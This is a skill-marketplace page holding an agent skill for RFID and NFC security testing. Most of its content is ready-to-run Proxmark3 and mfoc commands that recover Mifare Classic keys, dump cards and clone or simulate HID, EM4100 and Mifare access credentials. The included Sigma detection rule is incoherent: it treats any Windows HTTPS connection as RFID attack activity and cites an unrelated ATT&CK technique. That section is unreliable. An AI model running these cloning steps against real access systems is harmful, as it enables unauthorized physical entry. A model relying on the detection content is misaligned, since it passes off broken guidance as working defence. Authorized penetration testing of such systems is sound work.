# Performing Rfid Security Assessment > - Skill: `majiayu000/performing-rfid-security-assessment` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds add majiayu000/performing-rfid-security-assessment` - Raw SKILL.md: https://api.skillmd.com/api/skills/majiayu000/performing-rfid-security-assessment/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: majiayu000 (https://skillmd.com/u/majiayu000) - Updated: 2026-09-09 - Page: https://skillmd.com/skills/majiayu000/performing-rfid-security-assessment --- --- name: performing-rfid-security-assessment description: >- RFID and NFC security assessment including proximity card cloning, replay attacks, UID brute forcing, Mifare Classic key recovery, and physical access control bypass testing. domain: cybersecurity subdomain: wireless-security tags: - rfid - nfc - proxmark - mifare - access-control version: "1.0" author: defconxt license: AGPL-3.0 compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent. metadata: mitre-attack: ["T1200", "T1556.001", "T1078"] nist-csf: ["PR.AC-1", "PR.AC-7", "DE.CM-1"] uuid: 058d38e3-19a7-48b7-a86c-e5b1d3e4d36e --- # Performing RFID Security Assessment ## Overview RFID security assessments evaluate the security of proximity-based access systems including HID, Mifare, EM4100, and NFC-based credentials. Using tools like Proxmark3 and libnfc, testers can clone credentials, perform replay attacks, recover encryption keys, and validate physical access control implementations. All testing requires explicit written authorization from the facility owner. Mode: `[MODE: RED]` for this technique. ## Prerequisites | Requirement | Details | |---|---| | Proxmark3 RDV4 or compatible RFID research device | Required | | libnfc and nfc-tools for NFC interaction | Required | | mfoc and mfcuk for Mifare Classic key recovery | Required | | Physical access to target RFID readers | Required | | Written authorization / Rules of Engagement | Required | ## Key Concepts ### RFID Attack Surface ``` RFID Security Assessment Phases: ├── Credential Analysis │ ├── Card technology identification (LF/HF) │ ├── UID/CSN extraction │ ├── Sector data dump and analysis │ └── Encryption key recovery ├── Cloning Attacks │ ├── UID-only cloning (T5577, Magic Mifare) │ ├── Full sector cloning with keys │ ├── HID proximity card duplication │ └── EM4100 LF credential cloning ├── Protocol Attacks │ ├── Mifare Classic nested authentication │ ├── Mifare Classic darkside attack │ ├── Replay attacks against readers │ └── Brute force UID enumeration └── Physical Assessment ├── Reader placement evaluation ├── Tailgating gap analysis ├── Long-range read testing └── Shielding effectiveness ``` ### Card Identification and UID Extraction ```bash # Auto-detect card technology with Proxmark3 proxmark3 /dev/ttyACM0 [proxmark3]> auto [proxmark3]> hf search [proxmark3]> lf search # Read HID Prox credentials [proxmark3]> lf hid read # Read Mifare Classic UID and ATQA/SAK [proxmark3]> hf mf info # Dump Mifare Classic with known default keys [proxmark3]> hf mf autopwn ``` ### Mifare Classic Key Recovery ```bash # Darkside attack — recover first key from vulnerable cards [proxmark3]> hf mf darkside # Nested authentication attack — recover remaining keys [proxmark3]> hf mf nested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 # Hard-nested attack for hardened cards [proxmark3]> hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 # Full dump with recovered keys [proxmark3]> hf mf dump # Alternative: mfoc for automated key recovery mfoc -O card_dump.mfd ``` ### Credential Cloning ```bash # Clone HID credential to T5577 card [proxmark3]> lf hid read [proxmark3]> lf hid clone --raw 200670012d # Clone Mifare Classic to Magic card (Gen1a) [proxmark3]> hf mf cload -f card_dump.mfd # Write EM4100 ID to T5577 blank [proxmark3]> lf em 410x clone --id 0102030405 # Simulate card UID for access testing [proxmark3]> hf mf sim --uid 01020304 ``` ## Workflow ### Step 1: Pre-Engagement Confirm scope includes physical access control testing and obtain facility authorization. ### Step 2: Card Technology Identification ```bash [proxmark3]> auto [proxmark3]> hf search [proxmark3]> lf search ``` ### Step 3: Key Recovery Execute appropriate key recovery attacks for the identified card technology. ### Step 4: Cloning Validation ```bash # Test cloned credential against authorized reader # Document successful and failed access attempts ``` ### Step 5: Reporting Document findings including clone success rate, reader vulnerabilities, and remediation. ## Detection ```yaml title: Rfid Security Assessment Detection id: 94219142-b970-42a1-a7c7-144c19b68e83 status: experimental description: Detects suspicious activity related to performing rfid security assessment techniques in wireless security context logsource: category: network_connection product: windows detection: selection: DestinationPort: 443 Initiated: "true" condition: selection level: medium tags: - attack.t1200 - attack.t1556.001 - attack.t1078 - attack.initial_access falsepositives: - Wireless intrusion detection system performing routine monitoring ``` **Detection Opportunities** | Indicator | Source | Detection Logic | |---|---|---| | Rfid Security Assessment Detection | windows/network_connection | Sigma rule (medium) | | ATT&CK Coverage | MITRE ATT&CK | T1200, T1556.001, T1078 | ## Verification - [ ] Card technology correctly identified for all tested credentials - [ ] Key recovery attempted and results documented - [ ] Cloning tested only against authorized readers - [ ] Physical access control gaps documented with photos - [ ] Remediation recommendations include both technical and procedural controls ## References - MITRE ATT&CK T1200 — Hardware Additions - MITRE ATT&CK T1556.001 — Domain Controller Authentication - OWASP IoT Security Testing Guide - [Proxmark3 documentation](https://github.com/RfidResearchGroup/proxmark3)